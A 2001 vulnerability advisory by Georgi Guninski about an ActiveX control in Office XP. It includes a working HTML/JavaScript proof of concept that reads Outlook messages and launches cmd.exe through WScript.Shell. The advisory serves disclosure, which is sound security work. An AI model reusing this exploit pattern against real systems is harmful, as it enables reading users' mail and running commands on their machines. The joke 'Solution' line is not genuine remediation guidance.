MS Office XP - the more money I give to Microsoft, the more vulnerable my Windows computers are

Systems affected:
Win2K + IE 5.5 SP1 fully patched + Office XP.
It was reported to work with IE6 beta also.

Risk: High
Date: 12 July 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

If you want to link to this advisory or reference it use the URL:
http://www.guninski.com/vv2xp.html
The above especially applies for companies like Mitre and BugNet

Background:

Recently I bought Office XP.
It was quite unpleasant feeling giving so much money for so buggy
product.

Description:

If a user visits a specially designed html page with IE or opens or
previews a message with Outlook XP arbitrary commands may be
executed on his computer. This may lead to taking full control over
user's computer.
Using another approach to this bug allows reading, modifying and deleting
messages in user's Outlook XP folders.
 

Details:
The problem is again ActiveX. This time Office XP seems to install a
malicous ActiveX control - "Microsoft Outlook View Control".
This control exposes property named "selection" which gives access to user's
mail messages. It also exposes the Outlook "Application" object which may lead 
to execution of arbitrary programs of the user's computer.
Examine the script below for more information

Demonstration:
http://www.guninski.com/vv3-2demo.html
-----------------------------------------------------
This assumes you have at least one message in Outlook XP's Inbox
<br>
<object id="o1"
   classid="clsid:0006F063-0000-0000-C000-000000000046"
>
<param name="folder" value="Inbox">
</object>

<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScript.Shell");

alert("Much more fun is possible");
 

vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}
setTimeout("f()",2000);
</script>
-----------------------------------------------------
 

Solution:
Uninstall Office XP and Windows.

Vendor status:
Microsoft was informed on 9 July 2001.
As far I could understand they are still investigating my report.
 

Regards,
Georgi Guninski
http://www.guninski.com